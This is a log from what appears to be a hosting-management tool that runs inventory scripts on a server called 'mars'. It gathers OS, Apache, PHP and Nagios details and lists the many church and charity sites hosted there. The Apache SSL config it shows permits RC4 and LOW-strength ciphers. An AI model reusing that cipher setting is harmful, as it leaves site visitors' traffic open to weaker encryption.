SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName media.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt
DocumentRoot /var/www/hopeinstoughton_media/public
<Directory /var/www/hopeinstoughton_media>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Directory /var/www/hopeinstoughton_media/public/static>
Header add Access-Control-Allow-Origin "*"
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/media_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/media_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
(gzipped output)
MD5(/etc/apache2/ports.conf)= a961f23471d985c2b819b652b7f64321
MD5(/etc/apache2/apache2.conf)= 20589b50379161ebc8cb35f761af2646
MD5(/etc/apache2/sites-available/croydonchurch_www_info.conf)= de5778253e92019758e42ba4bd5e8ed5
MD5(/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt)= a1aba36d5064005600a72aab79017da9
MD5(/etc/apache2/sites-available/maminas_www_info.conf)= 9cc34fbadf9246b60a8c82e2f423c9e9
MD5(/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt)= 74a225c1691d3c388c0dabd4c745b5b5
MD5(/etc/apache2/sites-available/carelinks_www_org-au.conf)= bea1c410df503f5c8a140930e02bdd8b
MD5(/etc/ssl/certs/05659106679de2a1894b27eede09c1b3.crt)= efe632de3aaf49888faf4b5510e1c8e0
MD5(/etc/apache2/sites-available/carelinks_www_org-uk.conf)= 13c0ae8eb21eac468e9f6afba3bde463
MD5(/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt)= e59a421f795ac013c5d90bb30da825c1
MD5(/etc/apache2/sites-available/r-b-c_www_org.conf)= 28acf9b6c6c1defc473eee4d22d963a1
MD5(/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt)= 1f21b071ddedee3af411dfedc7da6d06
MD5(/etc/apache2/sites-available/carelinks-uk_www_org.conf)= 7698a6d27320f3dd439958b4cbb016b0
MD5(/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt)= 3561de179ad84bfe0240150d635af61c
MD5(/etc/apache2/sites-available/vards_www_info.conf)= 3ab195fb7a9c9280f3f22c96e086f160
MD5(/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt)= ac85e89c2da1ccffe799d1216dac3cd4
MD5(/etc/apache2/sites-available/pjy_croydon_us.conf)= 86950bee017a51fa98cbc51c02d1dd62
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= d1a350395fe5750eac654f1dc1ac7894
MD5(/etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf)= 1480b663074fec483391ae597a5513ef
MD5(/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt)= 14b7bb4470ccea0634615a2b4db17359
MD5(/etc/apache2/sites-available/biblebasicsonline_www_com.conf)= f39a106d73153edb8da1df3e5bc1d7a6
MD5(/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt)= b99943fe4487d80bb2668dee0320a1ef
MD5(/etc/apache2/sites-available/biblealive_www_us.conf)= 4cb67e52d73ce98d31dcec0c352a3b06
MD5(/etc/ssl/certs/fd6dc6f9714389fe5b765b47ecb8e8c1.crt)= bf36eec93304c1c8bb7e36dad95ed775
MD5(/etc/apache2/sites-available/freebible_www_info.conf)= 5d9475b21ba2f9e0bbbae32738a7fbb9
MD5(/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt)= 72d2e7e74a64389a685b122d60458b4b
MD5(/etc/apache2/sites-available/christadelphian_www_video.conf)= 5338fc2406f652e606a4761b8a869341
MD5(/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt)= 97f0c7cc702a90836c67b6ebf7640328
MD5(/etc/apache2/sites-available/carelinksaustralia_www_info.conf)= bd4f1d092e6288ceb01fbd1a914e1ebb
MD5(/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt)= 1e23754cf4e32c0828e679b1c9ef5e5b
MD5(/etc/apache2/sites-available/christadelphianfraternal_www_info.conf)= ea10c8b417de303fe2e11ff496867757
MD5(/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt)= e471e617b201eeeac5cdf55ddaa73065
MD5(/etc/apache2/sites-available/default-ssl.conf)= 801f4c746a88b4228596cb260a4220c4
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= c202940d12afc709bc209702a23693a1
MD5(/etc/apache2/sites-available/carelinksoutreach_www_info.conf)= cb44c1a0b360d4f45a5bdd2fbc6884d1
MD5(/etc/ssl/certs/b64494a3418593cd7c84316d693a17ce.crt)= 03afa00cea815b53e5d2306e68ff4e20
MD5(/etc/apache2/sites-available/hopeinstoughton_backup_org.conf)= d6dc9d43d121926a46faa5eec5bdcd92
MD5(/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt)= 0f1b9b5f9c4f20294bf8a018ef957115
MD5(/etc/apache2/sites-available/osnowybiblii_www_info.conf)= e14143658423f8b0c73a4a18085300aa
MD5(/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt)= 0d92a6e13d6cc02c23ac829fbe250eaa
MD5(/etc/apache2/sites-available/hostz_mars_org.conf)= 88f5f31beef6497b68a0b8c080aa1b3a
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d)= 509d0d0c14b50d4539493a62cbe9e85e
MD5(/etc/apache2/sites-available/000-default.conf)= f3066f67070ab9b1ad9bab81ca05330a
MD5(/etc/apache2/sites-available/realchrist_www_info.conf)= a6b7d2fd0d0f98cbf19ec30bb5a7ea7d
MD5(/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt)= da6d562ecaaa4a55a783e66cb4036e3f
MD5(/etc/apache2/sites-available/hopeinstoughton_media_org.conf)= 4d7d9c7a117fe73b85302c4606bc86a5
MD5(/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt)= 282b97e64eaee8c04ec8f3238e6cd5cc
MD5(/etc/apache2/sites-available/bible-basics_www_info.conf)= 35d736d6ea8eac9bc27d8a77cf53c71d
MD5(/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt)= e6bde7a938cbd28aa8ae8ba9d51a08ea
MD5(/etc/apache2/sites-available/exjw_www_org-uk.conf)= 91d46e5b4d3ae47de3464aa15766eaab
MD5(/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt)= 76b9edfedcf8528d537b2d714e4488cd
MD5(/etc/apache2/sites-available/baptizo_www_info.conf)= 328a5caaad75a554798c5f1b364c0d94
MD5(/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt)= 9446786f641b573bc32c87ef089668d7
link(/etc/apache2/sites-enabled/croydonchurch_www_info.conf)= /etc/apache2/sites-available/croydonchurch_www_info.conf
link(/etc/apache2/sites-enabled/maminas_www_info.conf)= /etc/apache2/sites-available/maminas_www_info.conf
link(/etc/apache2/sites-enabled/000-hostz_mars_org.conf)= /etc/apache2/sites-available/hostz_mars_org.conf
link(/etc/apache2/sites-enabled/carelinks_www_org-au.conf)= /etc/apache2/sites-available/carelinks_www_org-au.conf
link(/etc/apache2/sites-enabled/carelinks_www_org-uk.conf)= /etc/apache2/sites-available/carelinks_www_org-uk.conf
link(/etc/apache2/sites-enabled/r-b-c_www_org.conf)= /etc/apache2/sites-available/r-b-c_www_org.conf
link(/etc/apache2/sites-enabled/carelinks-uk_www_org.conf)= /etc/apache2/sites-available/carelinks-uk_www_org.conf
link(/etc/apache2/sites-enabled/vards_www_info.conf)= /etc/apache2/sites-available/vards_www_info.conf
link(/etc/apache2/sites-enabled/pjy_croydon_us.conf)= /etc/apache2/sites-available/pjy_croydon_us.conf
link(/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf)= /etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf
link(/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf)= /etc/apache2/sites-available/biblebasicsonline_www_com.conf
link(/etc/apache2/sites-enabled/biblealive_www_us.conf)= /etc/apache2/sites-available/biblealive_www_us.conf
link(/etc/apache2/sites-enabled/freebible_www_info.conf)= /etc/apache2/sites-available/freebible_www_info.conf
link(/etc/apache2/sites-enabled/christadelphian_www_video.conf)= /etc/apache2/sites-available/christadelphian_www_video.conf
link(/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf)= /etc/apache2/sites-available/carelinksaustralia_www_info.conf
link(/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf)= /etc/apache2/sites-available/christadelphianfraternal_www_info.conf
link(/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf)= /etc/apache2/sites-available/carelinksoutreach_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf)= /etc/apache2/sites-available/hopeinstoughton_backup_org.conf
link(/etc/apache2/sites-enabled/osnowybiblii_www_info.conf)= /etc/apache2/sites-available/osnowybiblii_www_info.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/realchrist_www_info.conf)= /etc/apache2/sites-available/realchrist_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf)= /etc/apache2/sites-available/hopeinstoughton_media_org.conf
link(/etc/apache2/sites-enabled/bible-basics_www_info.conf)= /etc/apache2/sites-available/bible-basics_www_info.conf
link(/etc/apache2/sites-enabled/exjw_www_org-uk.conf)= /etc/apache2/sites-available/exjw_www_org-uk.conf
link(/etc/apache2/sites-enabled/baptizo_www_info.conf)= /etc/apache2/sites-available/baptizo_www_info.conf
2025-12-23 12:29:49: Establishing a connection
2025-12-23 12:29:49: Performing Server Status
2025-12-23 12:29:49:
PUT: /tmp/pkp838506
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2025-12-23 12:29:50:
chmod 755 /tmp/pkp838506; /tmp/pkp838506; rm /tmp/pkp838506
2025-12-23 12:29:50:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename Type Size Used Priority
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
mars
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-90-generic
2025-12-23 12:29:50:
PUT: /tmp/pkp329556
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2025-12-23 12:29:50:
chmod 755 /tmp/pkp329556; /tmp/pkp329556; rm /tmp/pkp329556
2025-12-23 12:29:50:
[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built: 2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture: 64-bit
Server MPM: prefork
threaded: no
forked: yes (variable process count)
Server compiled with....
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_PROC_PTHREAD_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=256
-D HTTPD_ROOT="/etc/apache2"
-D SUEXEC_BIN="/usr/lib/apache2/suexec"
-D DEFAULT_PIDLOG="/var/run/apache2.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="mime.types"
-D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 854
available=sites-available
[ps]
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 854 0.0 0.2 15968 10812 ? Ss 12:28 0:00 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
core_module (static)
so_module (static)
watchdog_module (static)
http_module (static)
log_config_module (static)
logio_module (static)
version_module (static)
unixd_module (static)
access_compat_module (shared)
alias_module (shared)
auth_basic_module (shared)
authn_core_module (shared)
authn_file_module (shared)
authz_core_module (shared)
authz_host_module (shared)
authz_user_module (shared)
autoindex_module (shared)
deflate_module (shared)
dir_module (shared)
env_module (shared)
filter_module (shared)
headers_module (shared)
mime_module (shared)
mpm_prefork_module (shared)
negotiation_module (shared)
proxy_module (shared)
proxy_fcgi_module (shared)
reqtimeout_module (shared)
rewrite_module (shared)
setenvif_module (shared)
socache_shmcb_module (shared)
ssl_module (shared)
status_module (shared)
2025-12-23 12:29:50:
SERVER INFO (php_model): array (
'debian' => 1,
'redhat' => 0,
'name' => 'mars',
'arch' => 'x86_64',
'raspbian' => 0,
'osdesc' => 'Ubuntu 24.04.3 LTS',
'rel' => '24.04.3',
'mac' => 0,
'distro' => 'ubuntu',
'web' =>
array (
'apache2' =>
array (
'conf' => 'apache2.conf',
'config' => '/etc/apache2',
'user' => 'www-data',
'group' => 'www-data',
'available' => 'sites-available',
'running' => 1,
),
'modules' =>
array (
0 => 'core_module',
1 => 'so_module',
2 => 'watchdog_module',
3 => 'http_module',
4 => 'log_config_module',
5 => 'logio_module',
6 => 'version_module',
7 => 'unixd_module',
8 => 'access_compat_module',
9 => 'alias_module',
10 => 'auth_basic_module',
11 => 'authn_core_module',
12 => 'authn_file_module',
13 => 'authz_core_module',
14 => 'authz_host_module',
15 => 'authz_user_module',
16 => 'autoindex_module',
17 => 'deflate_module',
18 => 'dir_module',
19 => 'env_module',
20 => 'filter_module',
21 => 'headers_module',
22 => 'mime_module',
23 => 'mpm_prefork_module',
24 => 'negotiation_module',
25 => 'proxy_module',
26 => 'proxy_fcgi_module',
27 => 'reqtimeout_module',
28 => 'rewrite_module',
29 => 'setenvif_module',
30 => 'socache_shmcb_module',
31 => 'ssl_module',
32 => 'status_module',
),
),
)
2025-12-23 12:29:50:
PUT: /tmp/pkp385847
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
if [ ! -f "/usr/bin/add-apt-repository" ]; then
apt-get -y install software-properties-common > $temp_file 2>&1
fi
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C > $temp_file 2>&1
add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
apt-get update > $temp_file 2>&1
fi
echo $BOUNDARY >> $temp_file
echo apt-get >> $temp_file
apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
echo >> $temp_file
fi
gzip -cn9 $temp_file
rm $temp_file
2025-12-23 12:29:50:
chmod 755 /tmp/pkp385847; /tmp/pkp385847; rm /tmp/pkp385847
2025-12-23 12:29:52:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
2025-12-23 12:29:52:
PUT: /tmp/pkp392133
#!/bin/bash
dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
2025-12-23 12:29:52:
chmod 755 /tmp/pkp392133; /tmp/pkp392133; rm /tmp/pkp392133
2025-12-23 12:29:52:
[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.28
[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.28
[php8.4]
php=/usr/bin/php8.4
fpm=/etc/php/8.4/fpm/pool.d
version=8.4.7
[php8.4]
php=/usr/bin/php8.4
fpm=/etc/php/8.4/fpm/pool.d
version=8.4.7
2025-12-23 12:29:52:
PUT: /tmp/pkp544182
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-23 12:29:52:
chmod 755 /tmp/pkp544182; /tmp/pkp544182; rm /tmp/pkp544182
2025-12-23 12:29:52:
(gzipped output)
bin(/usr/local/nagios/libexec/check_real)= 5e19b5c5e40d6e40d16e3505da57cb05
bin(/usr/local/nagios/libexec/check_ssh)= 7eb26e24dd1a42d22604ce66244caa14
bin(/usr/local/nagios/libexec/check_ntp_time)= ce45c72f86257b3227330cdf654bb241
bin(/usr/local/nagios/libexec/check_dummy)= 9059e3043eb48f4de81b72d7b0951b8d
bin(/usr/local/nagios/libexec/check_ssmtp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_pop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_imap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_wave)= 588c42d881cec26eea20887eb7623192
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4e4ee59fada8b591e57cb93b33f1c085
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 56e28d6c53150a0c44f7e787d85b7214
bin(/usr/local/nagios/libexec/check_rpc)= 55ecb23b0cecfbdae0d6992bafa076e7
bin(/usr/local/nagios/libexec/check_simap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ide_smart)= 0cee3da97cc6ea0e77032283737a7f93
bin(/usr/local/nagios/libexec/check_breeze)= 543a2238e7ae9adcb040b2a635b6ce81
bin(/usr/local/nagios/libexec/check_dns)= e026bfbb50a3ed080497cf86304af190
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_ntp)= ef86f455d0dd980f5bf465d501a1ee24
bin(/usr/local/nagios/libexec/check_nagios)= 16f78531ef10d8bd815637619ad8810f
bin(/usr/local/nagios/libexec/check_overcr)= 6347d00b93fd427d3aeb5bec85284eb1
bin(/usr/local/nagios/libexec/check_nntp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_spop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ftp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_oracle)= 9017feb302cac9c1882dd3d2a7371f68
bin(/usr/local/nagios/libexec/check_swap)= 7d1237348d1b008206ef0efcf16e0964
bin(/usr/local/nagios/libexec/check_sensors)= 4694b2d104a9c9c1d500404e08810ab2
bin(/usr/local/nagios/libexec/check_jabber)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_by_ssh)= e005655c209de4e02d7c15dee194b5ef
bin(/usr/local/nagios/libexec/check_udp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_dig)= 94fc177ae79310de86dea510479a152a
bin(/usr/local/nagios/libexec/check_http)= 6568222b2189dca9bbaf20a9975f85ca
bin(/usr/local/nagios/libexec/check_nt)= 9708478e65a9716ed2e8d1aa50b54db5
bin(/usr/local/nagios/libexec/check_disk_smb)= dd9ec10a3f651d4bb85d452e8a001408
bin(/usr/local/nagios/libexec/check_mrtg)= 37f24463db28f6a36a5768b16c1031ed
bin(/usr/local/nagios/libexec/check_clamd)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_users)= ab663ac97799aed910e34f86e5c855a4
bin(/usr/local/nagios/libexec/check_ircd)= eb49495402862ca1099bdfd818306243
bin(/usr/local/nagios/libexec/check_procs)= f29608085acf9a38f234c0633dc2dc9c
bin(/usr/local/nagios/libexec/check_log)= 74401f254cd3b3b9238b9b71d362ec50
bin(/usr/local/nagios/libexec/check_mailq)= b1a6343b9f983e685559dd629c5242cf
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= c3efb603d314713069ac36e56601783e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 862b0b548b97639ba427d77d6cb71357
bin(/usr/local/nagios/libexec/check_tcp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= 6677ebd71abab66b6f0c50d71e35c286
bin(/usr/local/nagios/libexec/check_time)= b370fd03db2fa24b3009eefd517679ad
bin(/usr/local/nagios/libexec/check_smtp)= d3ee9c6688d0c78a4226d8c00d4e906f
bin(/usr/local/nagios/libexec/check_ping)= 58e5bf40f290b978930addeae210dad9
bin(/usr/local/nagios/libexec/check_flexlm)= 1dea6dadb259a5b53aeb31f64650ffb1
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= b8e413a332691789bcee09b1d0f29f78
bin(/usr/local/nagios/libexec/check_disk)= b0caf9f66b7d4887f9c3919c43183426
bin(/usr/local/nagios/libexec/check_uptime)= 10f6dd18860423bd8500f4b83ea64933
bin(/usr/local/nagios/libexec/check_icmp)= c1fa73d619604ec52d01e46a576a1bd3
bin(/usr/local/nagios/libexec/check_nntps)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_load)= adaa7c893c89d114b45043d3b8ab64bf
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3599b505059ecf7a1838782dae75d82f
bin(/usr/local/nagios/libexec/check_ups)= e60fb0dd7c6d47261deaed95074ed052
bin(/usr/local/nagios/libexec/check_file_age)= d45ede358999e4b9a7784006ca507715
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 05ce7fcaa48ebfccf353943bad4101ca
2025-12-23 12:29:52:
PUT: /tmp/pkp247968
#!/bin/bash
install=
if [ -f "/usr/bin/yum" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
install="$install openssl"
fi
rpm -qi mod_ssl > /dev/null 2>&1
retVal=$?
if [ $retVal -ne 0 ]; then
install="$install mod_ssl"
fi
if [ ! -z $install ]; then
yum -y install $install
systemctl restart apache2
echo status=restarted
else
echo status=ok
fi
